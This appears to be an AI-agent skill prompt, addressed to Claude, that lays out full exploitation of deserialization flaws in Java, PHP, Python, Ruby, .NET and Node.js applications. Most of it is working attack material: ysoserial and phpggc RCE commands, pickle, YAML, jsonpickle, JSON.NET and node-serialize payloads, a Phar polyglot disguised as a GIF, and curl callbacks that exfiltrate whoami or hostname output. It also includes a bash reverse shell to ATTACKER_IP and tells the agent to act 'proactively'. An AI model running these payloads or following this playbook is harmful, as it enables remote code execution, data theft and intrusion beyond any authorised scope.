Deep deserialization exploitation - Java ObjectInputStream, PHP unserialize/Phar, Python pickle/YAML, Ruby Marshal, .NET BinaryFormatter/ViewState, and Node.js serialize. Goes beyond scanner detection into custom gadget chain construction, blind exploitation via OOB callbacks, and chained attacks. Invoke this skill PROACTIVELY whenever: you find base64-encoded blobs in cookies, parameters, or headers; detect serialized object magic bytes in traffic (ac ed 00 05 for Java, O:N for PHP, 80 04 95 for Python pickle, 04 08 for Ruby Marshal); see ViewState or __VIEWSTATE parameters; find source code using pickle.loads(), yaml.load(), unserialize(), ObjectInputStream, Marshal.load(), BinaryFormatter, or node-serialize. Also invoke when SAST flags a deserialization sink - this skill provides the exploitation methodology. Use for ANY Java, PHP, Python, Ruby, .NET, or Node.js application where you suspect object deserialization.
TYPOGRAPHY RULE: NEVER use em dashes in any output. Use a hyphen (-) or rewrite the sentence. Em dashes render as broken characters on HackerOne.
You are operating as a deserialization specialist. This skill covers the full exploitation lifecycle - from identifying serialized data in traffic to constructing custom gadget chains and proving RCE via blind out-of-band callbacks. Deserialization vulnerabilities are among the highest-impact bugs in bounty programs because they almost always lead to remote code execution.
The key insight: scanners find deserialization sinks but cannot exploit them. Exploitation requires understanding the target's classpath, available gadget classes, and how to chain them into a working payload. That is what this skill provides.
Before testing any specific language or framework, systematically scan all traffic for serialized data. Deserialization surfaces hide in unexpected places - session cookies, API parameters, file uploads, WebSocket messages, and internal service calls.
Scan every request and response for these indicators:
data, state, object, session, payload, token, viewstate.| Format | Magic Bytes (hex) | Base64 Prefix | Common Locations |
|---|---|---|---|
| Java ObjectInputStream | ac ed 00 05 | rO0A | Cookies, POST bodies, RMI, JMX, JMS |
| PHP serialize | N/A (text: a: i: O: s: b:) | Plaintext | Session data, form fields, cache |
| Python pickle (protocol 4) | 80 04 95 | gASV | Django sessions, Redis, ML pipelines |
| Python pickle (protocol 2) | 80 02 | gAI | Older Python apps, Celery |
| Ruby Marshal | 04 08 | BAg | Rails sessions, Redis, Sidekiq jobs |
| .NET BinaryFormatter | 00 01 00 00 00 | AAEAAAD | ViewState, .NET Remoting |
| .NET SoapFormatter | N/A (XML with SOAP envelope) | Plaintext XML | .NET web services |
| Node.js node-serialize | N/A (JSON with _$$ND_FUNC$$_) | Plaintext JSON | API bodies, cookies |
These parameter names strongly suggest serialized data:
viewstate, __VIEWSTATE, __VIEWSTATEGENERATOR, __EVENTVALIDATIONjavax.faces.ViewState (JSF)data, state, object, payload, serialized, marshalsession, token (when not a JWT - check structure)pickle, pickled, cached, storedrO0 prefix in any parameter value (Java)| Content-Type | Implication |
|---|---|
application/x-java-serialized-object | Direct Java deserialization endpoint |
application/x-java-object | Java object transfer |
application/octet-stream with Java stack | Likely serialized Java |
application/x-www-form-urlencoded with base64 blob | Decode and check magic bytes |
application/xml or text/xml with SOAP | .NET SoapFormatter possible |
# Decode base64 cookie and check magic bytes
echo "COOKIE_VALUE_HERE" | base64 -d | xxd | head -5
# Search proxy traffic for Java serialized data
# (use ProxyEngine proxy_get_flows with search="rO0A")
# Search for PHP serialized data in responses
# Look for patterns like O:14:"ClassName":3:{
Java deserialization is the most common and highest-impact deserialization vulnerability class. Enterprise applications, middleware (WebLogic, JBoss, Jenkins, WebSphere), and custom Java services frequently deserialize untrusted data.
The URLDNS gadget chain triggers a DNS lookup with zero side effects - no code execution, no file writes, no crashes. It works with any JDK (no extra libraries needed) and is the safest way to confirm deserialization.
# Generate URLDNS payload
java -jar ysoserial.jar URLDNS "http://UNIQUE-ID.oastify.com" | base64 -w0
# Or use the all-in-one version
java -jar ysoserial.jar URLDNS "http://deser-test.YOUR-BURP-COLLAB.oastify.com" > urldns.bin
# Send as binary POST body
curl -X POST -H "Content-Type: application/x-java-serialized-object" \
--data-binary @urldns.bin https://target.com/vulnerable-endpoint
# Send as base64 in a parameter
PAYLOAD=$(java -jar ysoserial.jar URLDNS "http://UNIQUE-ID.oastify.com" | base64 -w0)
curl -X POST -d "data=${PAYLOAD}" https://target.com/vulnerable-endpoint
# Send as cookie
curl -b "session=${PAYLOAD}" https://target.com/
If you receive a DNS callback, deserialization is confirmed. Proceed to classpath discovery.
To select the right gadget chain, you need to know which libraries are on the target's classpath.
Methods to discover the classpath:
Error messages - send a malformed serialized object (truncated base64). Java stack traces often reveal library versions:
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hc" | base64 -d > truncated.bin
curl -X POST --data-binary @truncated.bin https://target.com/endpoint
# Stack trace may reveal: org.apache.commons.collections.functors...
Spring Boot Actuator - /actuator/env, /actuator/beans, /actuator/configprops expose dependency info.
JavaScript bundles - search for library names in client-side JS. Build tools sometimes embed dependency metadata.
HTTP headers - X-Powered-By, Server, error pages reveal framework versions.
Known defaults - if you identify the application server:
| Library Present | ysoserial Chain | Impact | Notes |
|---|---|---|---|
| commons-collections 3.1-3.2.1 | CommonsCollections1 | RCE | Most common, patched in 3.2.2+ |
| commons-collections 4.0 | CommonsCollections2 | RCE | Uses javassist |
| commons-collections 3.1+ | CommonsCollections5 | RCE | Does not use InvokerTransformer |
| commons-collections 3.1+ | CommonsCollections6 | RCE | HashSet-based, bypasses some filters |
| commons-collections 3.1+ | CommonsCollections7 | RCE | Hashtable-based trigger |
| commons-beanutils 1.x | CommonsBeanutils1 | RCE | Very common library |
| Spring Framework | Spring1 | RCE | Requires spring-core + spring-beans |
| Spring Framework | Spring2 | RCE | Alternative Spring chain |
| Groovy | Groovy1 | RCE | Common in Jenkins |
| Hibernate | Hibernate1 | RCE | Getter-based chain |
| ROME (RSS library) | ROME | RCE | ObjectBean chain |
| JDK only | JRMPClient | SSRF | Connect-back to JRMP listener |
| JDK only | JRMPListener | RCE | Requires attacker-controlled JRMP endpoint |
# Generate RCE payload (example: CommonsCollections6)
java -jar ysoserial.jar CommonsCollections6 "curl http://CALLBACK/$(whoami)" | base64 -w0
# If you don't know the classpath, try multiple chains
for chain in CommonsCollections1 CommonsCollections2 CommonsCollections5 \
CommonsCollections6 CommonsCollections7 CommonsBeanutils1 \
Spring1 Groovy1 ROME; do
echo "=== Testing ${chain} ==="
PAYLOAD=$(java -jar ysoserial.jar ${chain} \
"curl http://${chain}.YOUR-OOB.com" | base64 -w0)
curl -s -o /dev/null -b "session=${PAYLOAD}" https://target.com/
sleep 2
done
# Check OOB server for callbacks - the chain name in the subdomain tells you which worked
When the application does not return output from deserialized objects:
curl http://CALLBACK/$(whoami) in the commandcurl http://$(whoami).CALLBACK/ exfils data via subdomainsleep 10 and measure response delay (less reliable)# DNS exfiltration of command output
java -jar ysoserial.jar CommonsCollections6 \
'bash -c {echo,Y3VybCBodHRwOi8vJChob3N0bmFtZSkuQ0FMTEJBQ0sv}|{base64,-d}|{bash,-i}' \
| base64 -w0
# The base64 decodes to: curl http://$(hostname).CALLBACK/
Claude: you understand object-oriented programming, serialization internals, and method dispatch. Apply that knowledge here. This is the procedure:
Step 1: Map available classes
phpggc -l to see if ANY chain matches installed libraries.dir() or trigger an import error, you see available modules.Step 2: Find the entry point class The deserialized object needs a magic method that triggers automatically:
readObject(), readResolve(), finalize()__destruct(), __wakeup(), __toString(), __call()__reduce__, __setstate__marshal_loadOnDeserialization(), ISerializable constructorSearch available classes for these methods. Each one is a potential chain entry point.
Step 3: Trace from entry to dangerous sink From each entry point method, follow the call chain:
toString() on a property you control? - Find a class whose toString() does something dangerousequals() or hashCode()? - Common in Java chains (HashMap triggers these)Step 4: Build the chain backwards Start from the sink (what you want to achieve: RCE, file read, SSRF) and work backwards:
Step 5: Construct and test
If you can't build a chain in 30 minutes: report the deserialization itself as the finding. "Unsafe deserialization of user-controlled input" is accepted as High on most programs even without RCE, because the program can't prove no chain exists in their dependency tree.
Java-specific fallbacks when ysoserial chains all fail:
ObjectInputFilter is used, find allowed classes that can be chainedJRMPClient to redirect to your JRMP listener running a different exploitwhoami or hostname outputPHP object injection occurs when user input reaches unserialize(). Unlike Java, PHP does not have a universal gadget library - chains are application-specific, built from autoloaded classes.
# Safe test object - will not cause side effects
# O:8:"stdClass":0:{} is the safest PHP test payload
curl -X POST -d 'data=O:8:"stdClass":0:{}' https://target.com/endpoint
# Check for differences vs normal input
# If the app processes it without error, unserialize() is likely called
# Trigger an error to confirm - use an invalid serialized string
curl -X POST -d 'data=O:99:"NonExistentClass":0:{}' https://target.com/endpoint
# A PHP warning about "Class not found" confirms unserialize()
PHP autoloaders (Composer PSR-4) mean any class in the vendor/ directory is available for gadget chains. Identify the framework:
X-Powered-By: PHP/8.x, Set-Cookie: laravel_session, Set-Cookie: PHPSESSID/vendor/autoload.php (403 vs 404), /composer.json, /composer.lockLaravel (most common modern PHP target):
// Laravel PendingBroadcast chain (versions 5.x - 9.x)
// Triggers: __destruct() -> dispatch() -> call()
// This chain executes system commands via the Dispatcher
// Serialized payload (modify the command):
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"\x00*\x00events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"\x00*\x00listeners";a:1:{s:1:"x";a:1:{i:0;s:6:"system";}}}s:8:"\x00*\x00event";s:19:"curl CALLBACK/pwned";}
Symfony:
// Symfony Process chain - executes commands via Process::__destruct()
// Check phpggc for current chains:
// https://github.com/ambionics/phpggc
// Generate with phpggc:
// php phpggc Symfony/RCE4 system "curl CALLBACK/$(whoami)" -s
WordPress:
WordPress chains depend on installed plugins. Check wp-content/plugins/ for plugin names, then search phpggc for matching chains.
phpggc - the PHP ysoserial equivalent:
# List all available chains
php phpggc -l
# Generate a specific chain
php phpggc Laravel/RCE10 system "curl http://CALLBACK/$(whoami)" -s -b
# Output as base64
php phpggc Laravel/RCE10 system "curl http://CALLBACK/$(whoami)" -b
# Chains to try for unknown frameworks
php phpggc -l | grep RCE
Phar deserialization triggers unserialize() WITHOUT the application calling unserialize() directly. Any PHP file operation function that accepts a phar:// wrapper can trigger it.
Vulnerable functions: file_exists(), fopen(), file_get_contents(), file(), include(), finfo_file(), getimagesize(), exif_read_data(), stat(), filetype(), is_file(), is_dir(), copy(), unlink(), rename(), mkdir(), rmdir(), and many more.
The hard part: finding the POP chain. Phar triggers unserialize() on the metadata, so you need a valid chain for the target's framework and libraries:
phpggc - it has pre-built chains for Laravel, Symfony, WordPress, Magento, CakePHP, Yii, Doctrine, Guzzle, Monolog, SwiftMailer, and 30+ more. Run phpggc -l to list all available chains, phpggc -l | grep RCE for RCE-capable ones.composer.json or composer.lock (often exposed at /composer.json, /composer.lock, or leaked via error pages/debug mode). These list every PHP dependency with exact versions - match against phpggc chains.__destruct(), __wakeup(), __toString(), or __call(). Start from the sink (file write, exec, eval, system) and work backwards through property assignments to find a chain of objects where setting properties on one triggers a method on the next.SplFileObject to read /etc/hostname, and note that RCE chains may exist in the dependency tree. Triagers accept unsafe deserialization as High even without full RCE if you demonstrate the unserialize trigger.Attack flow:
phar://uploads/your-file.gif<?php
// Run locally to generate the Phar payload
// Requires phar.readonly=0 in php.ini
class VulnerableClass {
// Set properties to match your POP chain
public $command = "curl http://CALLBACK/$(whoami)";
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
// GIF89a header makes it pass image upload validation
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$o = new VulnerableClass();
$phar->setMetadata($o);
$phar->addFromString('x', 'x');
$phar->stopBuffering();
// Rename to bypass upload extension filters
rename('exploit.phar', 'exploit.gif');
echo "Phar payload written to exploit.gif\n";
?>
Triggering the Phar deserialization:
# If you control a file path parameter:
curl "https://target.com/image-check?file=phar://uploads/exploit.gif/x"
# If the app processes uploaded files:
# Upload exploit.gif, then trigger any file operation on it
# Look for: thumbnail generation, image validation, file info display
unserialize() is called on user input (error message, behavior change)phar:// wrapperPython pickle is insecure by design - the documentation explicitly warns against unpickling untrusted data. Any call to pickle.loads(), pickle.load(), joblib.load(), or torch.load() on user-controlled data is exploitable.
# Check magic bytes of base64-encoded values
echo "VALUE_HERE" | base64 -d | xxd | head -3
# Protocol 2: starts with 80 02
# Protocol 4: starts with 80 04 95
# Protocol 5: starts with 80 05 95
# Send a malformed pickle to trigger an error
echo "gASVBAAAAAAAAACULg==" | base64 -d > malformed.pkl
curl -X POST --data-binary @malformed.pkl https://target.com/endpoint
# UnpicklingError in response confirms pickle.loads() is called
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
# __reduce__ controls how the object is reconstructed during unpickling
# os.system() executes a shell command
return (os.system, ('curl http://CALLBACK/$(whoami)',))
payload = base64.b64encode(pickle.dumps(Exploit(), protocol=2)).decode()
print(payload)
# For Python 2 targets, use protocol=0 or protocol=2
# For Python 3 targets, protocol=4 is standard but 2 works too
Alternative payloads for different scenarios:
# Reverse shell via pickle
import pickle, base64
class ReverseShell:
def __reduce__(self):
import subprocess
return (subprocess.call, ([
'bash', '-c',
'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
],))
print(base64.b64encode(pickle.dumps(ReverseShell())).decode())
# DNS exfiltration via pickle (stealthier)
import pickle, base64
class DNSExfil:
def __reduce__(self):
import os
return (os.system, (
'curl http://$(hostname).CALLBACK/',
))
print(base64.b64encode(pickle.dumps(DNSExfil())).decode())
Python's yaml.load() without Loader=SafeLoader is equivalent to pickle in terms of exploitability.
# RCE via !!python/object/apply
!!python/object/apply:os.system ['curl http://CALLBACK/$(whoami)']
# Alternative: subprocess
!!python/object/apply:subprocess.check_output [['curl', 'http://CALLBACK/pwned']]
# Read file content via DNS exfiltration
!!python/object/apply:os.system
- 'curl http://CALLBACK/$(cat /etc/hostname)'
Detection: Send a YAML payload that triggers a safe but observable side effect:
# Time-based detection - causes a 5-second delay
!!python/object/apply:time.sleep [5]
| Surface | How to find it | Likelihood |
|---|---|---|
| Django sessions (pickle backend) | Check SESSION_ENGINE in settings, or decode session cookie | Medium |
| Celery task arguments | Redis or RabbitMQ message inspection | High if accessible |
| Redis cached objects | If Redis is exposed, GET keys and check for pickle bytes | High |
| ML model loading | Endpoints accepting model uploads (joblib, torch, sklearn) | High |
| API accepting pickle format | Content-Type negotiation, file upload endpoints | Low |
| jsonpickle in JSON APIs | Look for py/object keys in JSON responses | Medium |
If you see JSON responses containing py/object, py/reduce, or py/type keys, the application uses jsonpickle:
{"py/object": "some.module.ClassName", "py/state": {"attr": "value"}}
This is exploitable the same way as pickle - craft a JSON payload with py/reduce:
{
"py/reduce": [
{"py/type": "os.system"},
{"py/tuple": ["curl http://CALLBACK/$(whoami)"]}
]
}
Ruby's Marshal.load() deserializes arbitrary Ruby objects. Rails applications are the primary target, especially those using cookie-based session stores.
# Check if a cookie value starts with Marshal magic bytes
echo "COOKIE_VALUE" | base64 -d | xxd | head -3
# Marshal: starts with 04 08
# Send a minimal marshaled value
ruby -e 'puts [Marshal.dump(0)].pack("m0")'
# Result: BAhpAA==
# Send this as a cookie/parameter value and observe behavior
Rails applications using CookieStore serialize session data with Marshal. The cookie is signed (and optionally encrypted) with secret_key_base.
Finding the secret key:
secret_key_base in commits, config files/proc/self/environ# Search GitHub for leaked secrets
# Use git_miner.py for this
python {AGENT}/engine/core/git_miner.py target-org --pattern "secret_key_base"
If you have the secret_key_base, you can forge arbitrary session cookies containing marshaled objects:
# Generate exploit cookie (run locally)
require 'openssl'
require 'base64'
# The Universal Deserialisation Gadget for Ruby (ERB template execution)
# Works on most Ruby/Rails versions
code = "system('curl http://CALLBACK/$(whoami)')"
# Build the gadget chain
# ERB + Gem::Requirement + Gem::StubSpecification chain
# Use the rails_secret_deserialization tool or manual construction
# For Rails 5+, the cookie is encrypted, not just signed
# You need both secret_key_base and the key derivation parameters
Rails cookie-based sessions:
Without the secret (universal gadget):
Gem::Requirement.new(Gem::DependencyList.new) with ERB template containing system() callOther Marshal.load() surfaces (when no secret is available):
Marshal.load()Detection without exploitation:
\x04\x08\x22\x07hi (Marshal.dump("hi")) - if accepted without error, Marshal.load is called.NET deserialization vulnerabilities affect ViewState, BinaryFormatter, SoapFormatter, DataContractSerializer, and .NET Remoting.
# Decode __VIEWSTATE from a form
echo "VIEWSTATE_VALUE" | base64 -d | xxd | head -10
# Check if MAC validation is enabled
# If the ViewState is not signed, you can inject arbitrary serialized objects
# Send a modified ViewState - if you get a MAC validation error,
# the ViewState is protected. If it processes normally, it is vulnerable.
# Check for __VIEWSTATEGENERATOR - this is a hash of the page class
# and can help identify the framework version
If MAC validation is disabled (ASP.NET 4.0 and earlier default, or misconfigured):
# Use ysoserial.net to generate ViewState payload
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \
-c "curl http://CALLBACK/$(whoami)" -o base64
# Inject as __VIEWSTATE parameter
curl -X POST -d "__VIEWSTATE=PAYLOAD_HERE&__VIEWSTATEGENERATOR=..." \
https://target.com/page.aspx
If you find the machineKey in web.config (via LFI, SSRF, backup files, or Git leaks):
<!-- web.config machineKey example -->
<machineKey validationKey="HEXKEY..." decryptionKey="HEXKEY..."
validation="SHA1" decryption="AES" />
# Generate signed/encrypted ViewState with ysoserial.net
ysoserial.exe -p ViewState \
-g TypeConfuseDelegate \
-c "curl http://CALLBACK/$(whoami)" \
--validationkey="HEXKEY" \
--decryptionkey="HEXKEY" \
--validationalg="SHA1" \
--decryptionalg="AES" \
--path="/vulnerable/page.aspx" \
--apppath="/"
Beyond ViewState, search for direct BinaryFormatter usage:
application/octet-stream with .NET stack# ysoserial.net chains for BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter \
-c "curl http://CALLBACK/$(whoami)" -o base64
# Other useful chains
ysoserial.exe -g PSObject -f BinaryFormatter -c "COMMAND"
ysoserial.exe -g ActivitySurrogateSelector -f BinaryFormatter -c "COMMAND"
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "COMMAND"
Some .NET applications use DataContractSerializer or Newtonsoft JSON.NET with TypeNameHandling enabled:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System",
"StartInfo": {
"$type": "System.Diagnostics.ProcessStartInfo, System",
"FileName": "cmd.exe",
"Arguments": "/c curl http://CALLBACK/pwned"
}
}
}
Detection: If a JSON API includes $type in responses, TypeNameHandling is likely enabled. Inject a $type field in your request and observe behavior.
ViewState without MAC (rare but devastating):
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "curl http://CALLBACK" | base64ViewState with MAC but known machineKey:
ysoserial.exe -p ViewState -g TypeConfuseDelegate --validationkey=KEY --validationalg=SHA1 -c "curl http://CALLBACK"BinaryFormatter in custom code:
JSON.NET with TypeNameHandling:
$type field: TypeNameHandling is enabled{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c curl http://CALLBACK"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}Node.js deserialization vulnerabilities primarily affect the node-serialize package, though other packages like cryo and funcster are also vulnerable.
The signature marker is _$$ND_FUNC$$_ in JSON values. If you see this in cookies, request bodies, or API responses, node-serialize is in use.
# Check if a cookie contains serialized node-serialize data
echo "COOKIE_VALUE" | base64 -d
# Look for _$$ND_FUNC$$_ marker
node-serialize evaluates functions marked with _$$ND_FUNC$$_. Adding () at the end makes it an IIFE that executes during deserialization.
{
"rce": "_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://CALLBACK/$(whoami)')}()"
}
# Send as JSON body
curl -X POST -H "Content-Type: application/json" \
-d '{"rce":"_$$ND_FUNC$$_function(){require(\"child_process\").execSync(\"curl http://CALLBACK/$(whoami)\")}()"}' \
https://target.com/api/endpoint
# Send as base64-encoded cookie
PAYLOAD=$(echo -n '{"rce":"_$$ND_FUNC$$_function(){require(\"child_process\").execSync(\"curl http://CALLBACK/pwned\")}()"}' | base64 -w0)
curl -b "session=${PAYLOAD}" https://target.com/
| Package | Vulnerability | Detection |
|---|---|---|
node-serialize | IIFE in _$$ND_FUNC$$_ | Look for the marker in cookies/params |
cryo | Function restoration | __crpiof__ marker in JSON |
funcster | Function serialization | __js_function in JSON |
serialize-javascript | XSS (not RCE) | Injected JS in serialized output |
While not strictly deserialization, prototype pollution in JSON parsing can lead to RCE when combined with gadgets in the application. If you find prototype pollution (via __proto__ or constructor.prototype injection), check for:
NODE_OPTIONS or similarDeserialization vulnerabilities chain powerfully with other bug classes. Always look for these combinations:
phar://uploads/evil.gif - executes your POP chain without unserialize() being calledsecret_key_base (Rails), APP_KEY (Laravel), or machineKey (.NET)curl http://$(cat /etc/hostname).CALLBACK/web.config to extract machineKey values| If this skill finds... | Then invoke... | To do... |
|---|---|---|
| Deserialization sink in source code | @sast | Full code path tracing from input to sink |
| Blind deserialization (no output) | @blind-injection | OOB callback infrastructure and data exfiltration |
| XXE in XML parser | @injection-attacks | Check if XMLDecoder (Java) is also present - dual vulnerability |
| SSRF to internal service | @cloud | Pivot to cloud metadata, internal deserialization endpoints |
| WAF blocking payloads | @waf-bypass | Encoding tricks, chunked transfer, content-type confusion |
| Credentials or secrets leaked | @auth-attacks | Forge sessions with serialized objects using leaked keys |
# Java - URLDNS detection (safe, no side effects)
java -jar ysoserial.jar URLDNS "http://ID.oastify.com" | base64 -w0
# Java - RCE via CommonsCollections6
java -jar ysoserial.jar CommonsCollections6 "curl http://CALLBACK" | base64 -w0
# PHP - Safe detection
O:8:"stdClass":0:{}
# PHP - phpggc Laravel RCE
php phpggc Laravel/RCE10 system "curl http://CALLBACK" -b
# Python - Pickle RCE
python3 -c "import pickle,base64,os;exec('class E:\n def __reduce__(self):\n return(os.system,(\"curl CALLBACK\",))\nprint(base64.b64encode(pickle.dumps(E())).decode())')"
# Python - YAML RCE
!!python/object/apply:os.system ['curl http://CALLBACK']
# Ruby - Marshal detection
echo "BAhpAA==" | base64 -d # Marshal.dump(0)
# .NET - ViewState RCE
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "COMMAND" -o base64
# Node.js - node-serialize RCE
{"x":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl CALLBACK')}()"}
Found serialized data
├── Starts with rO0A / ac ed 00 05?
│ └── YES -> Attack Class 1 (Java) -> URLDNS first, then chain selection
├── Starts with O: / a: / s: / i:?
│ └── YES -> Attack Class 2 (PHP) -> stdClass test, then phpggc chains
├── Starts with gASV / 80 04 95?
│ └── YES -> Attack Class 3 (Python) -> __reduce__ payload
├── Contains !!python/ in YAML?
│ └── YES -> Attack Class 3 (Python YAML) -> object/apply payload
├── Starts with BAg / 04 08?
│ └── YES -> Attack Class 4 (Ruby) -> check for Rails secret
├── __VIEWSTATE parameter present?
│ └── YES -> Attack Class 5 (.NET) -> MAC validation check
├── AAEAAAD prefix / 00 01 00 00 00?
│ └── YES -> Attack Class 5 (.NET BinaryFormatter) -> ysoserial.net
├── Contains _$$ND_FUNC$$_?
│ └── YES -> Attack Class 6 (Node.js) -> IIFE injection
├── JSON with $type field?
│ └── YES -> Attack Class 5 (.NET JSON.NET) -> ObjectDataProvider
└── JSON with py/object or py/reduce?
└── YES -> Attack Class 3 (jsonpickle) -> py/reduce payload